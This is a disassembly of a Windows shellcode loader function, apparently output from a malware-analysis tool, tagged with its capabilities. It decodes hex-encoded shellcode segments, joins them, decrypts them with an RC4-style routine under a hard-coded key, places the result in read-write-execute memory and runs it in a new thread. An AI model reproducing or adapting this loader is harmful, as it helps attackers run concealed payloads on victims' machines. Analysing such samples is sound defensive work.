Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x250
mov rsi, 0xffffffffffffffff
lea r14, str.323dd29926265d42810c31287b342926e252bd743b8daae4745a198469eba3d3fa1669cf2daa400a20ac64bd8735dfd94d8d85a3df36548f287850c07f0c6ce5a85f2eb7ff
mov rbx, rsi
xor r13d, r13d
inc rbx
cmp byte [r14 + rbx], r13b
jne 0x140001103
test bl, 1
je 0x140001115
xor ebp, ebp
jmp 0x14000115b
mov r13, rbx
shr r13, 1
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x14000115b
xor edi, edi
test rbx, rbx
je 0x14000115b
mov r8, rdi
lea rcx, [rdi + r14]
shr r8, 1
lea rdx, str._2hhx
add r8, rbp
mov r9d, 1
call fcn.140001070
add rdi, 2
cmp rdi, rbx
jb 0x140001133
mov ecx, 0x45
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r12, [0x140000000]
mov r15, rax
test rax, rax
je 0x1400011b3
xor ebx, ebx
nop word [rax + rax]
mov r8, rbx
lea rcx, [r12 + 0x3360]
shr r8, 1
lea rdx, str._2hhx
add r8, r15
add rcx, rbx
mov r9d, 1
call fcn.140001070
add rbx, 2
cmp rbx, 0x8a
jb 0x140001180
mov ecx, 0x45
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x140001203
xor ebx, ebx
nop dword [rax + rax]
mov r8, rbx
lea rcx, [r12 + 0x33f0]
shr r8, 1
lea rdx, str._2hhx
add r8, r14
add rcx, rbx
mov r9d, 1
call fcn.140001070
add rbx, 2
cmp rbx, 0x8a
jb 0x1400011d0
mov ecx, 0x45
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140001253
xor ebx, ebx
nop dword [rax + rax]
mov r8, rbx
lea rcx, [r12 + 0x3480]
shr r8, 1
lea rdx, str._2hhx
add r8, rdi
add rcx, rbx
mov r9d, 1
call fcn.140001070
add rbx, 2
cmp rbx, 0x8a
jb 0x140001220
test rbp, rbp
je 0x140001602
test r15, r15
je 0x140001602
test r14, r14
je 0x140001602
test rdi, rdi
je 0x140001602
lea rbx, [r13 + 0xcf]
mov rcx, rbx
mov qword [rsp + 0x290], rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
test rax, rax
jne 0x1400012f2
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_allocate_memory_for_combined_shellcode_n
call fcn.140001020
lea ecx, [r12 + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_combine_shellcode_segments_n
call fcn.140001020
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000161c
mov r8, r13
mov rdx, rbp
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [r15 + 0x40]
xor r8d, r8d
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [r12 + r13], xmm0
movups xmm0, xmmword [r15 + 0x20]
movups xmmword [r12 + r13 + 0x10], xmm1
movups xmm1, xmmword [r15 + 0x30]
movups xmmword [r12 + r13 + 0x20], xmm0
movups xmm0, xmmword [r14]
movups xmmword [r12 + r13 + 0x30], xmm1
mov dword [r12 + r13 + 0x40], eax
movzx eax, byte [r15 + 0x44]
movups xmm1, xmmword [r14 + 0x10]
mov byte [r12 + r13 + 0x44], al
mov eax, dword [r14 + 0x40]
movups xmmword [r12 + r13 + 0x45], xmm0
movups xmm0, xmmword [r14 + 0x20]
movups xmmword [r12 + r13 + 0x55], xmm1
movups xmm1, xmmword [r14 + 0x30]
movups xmmword [r12 + r13 + 0x65], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [r12 + r13 + 0x75], xmm1
mov dword [r12 + r13 + 0x85], eax
movzx eax, byte [r14 + 0x44]
movups xmm1, xmmword [rdi + 0x10]
mov byte [r12 + r13 + 0x89], al
mov eax, dword [rdi + 0x40]
movups xmmword [r12 + r13 + 0x8a], xmm0
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [r12 + r13 + 0x9a], xmm1
movups xmm1, xmmword [rdi + 0x30]
movups xmmword [r12 + r13 + 0xaa], xmm0
movups xmm0, xmmword [str.thisIsA16ByteKey]
movups xmmword [r12 + r13 + 0xba], xmm1
mov dword [r12 + r13 + 0xca], eax
movzx eax, byte [rdi + 0x44]
mov byte [r12 + r13 + 0xce], al
movzx eax, byte [0x140003580]
mov byte [rsp + 0x40], al
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], r8b
jne 0x1400013f0
xor ecx, ecx
mov r9d, 0x100
nop dword [rax]
nop word [rax + rax]
xor edx, edx
mov byte [rsp + rcx + 0x50], r8b
mov rax, rcx
inc r8d
div rsi
movzx eax, byte [rsp + rdx + 0x30]
mov byte [rsp + rcx + 0x150], al
inc rcx
cmp r8d, r9d
jl 0x140001410
xor edx, edx
xor r8d, r8d
nop dword [rax]
movzx eax, byte [rsp + r8 + 0x150]
movzx r10d, byte [rsp + r8 + 0x50]
add edx, eax
add edx, r10d
and edx, 0x800000ff
jge 0x140001466
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + r8 + 0x50], al
inc r8
mov byte [rcx], r10b
sub r9, 1
jne 0x140001440
xor r8d, r8d
xor eax, eax
test rbx, rbx
je 0x140001503
mov r11, r12
inc eax
and eax, 0x800000ff
jge 0x1400014a4
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x50]
add r9, rcx
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x1400014cc
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rsp + 0x50]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx edx, byte [r9]
add rdx, r10
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x50]
xor byte [r11], dl
inc r11
sub rbx, 1
jne 0x140001492
mov rbx, qword [rsp + 0x290]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001555
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, ebx
lea rdx, str.VirtualAlloc_failed__error_code:__lu_n
mov rcx, rax
call fcn.140001020
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000161c
lea r8, [r13 + 0xcf]
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x1400015ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, ebx
lea rdx, str.CreateThread_failed__error_code:__lu_n
mov rcx, rax
call fcn.140001020
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000161c
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x140001621
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_convert_one_or_more_hex_strings_to_bytes_n
call fcn.140001020
mov eax, 1
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret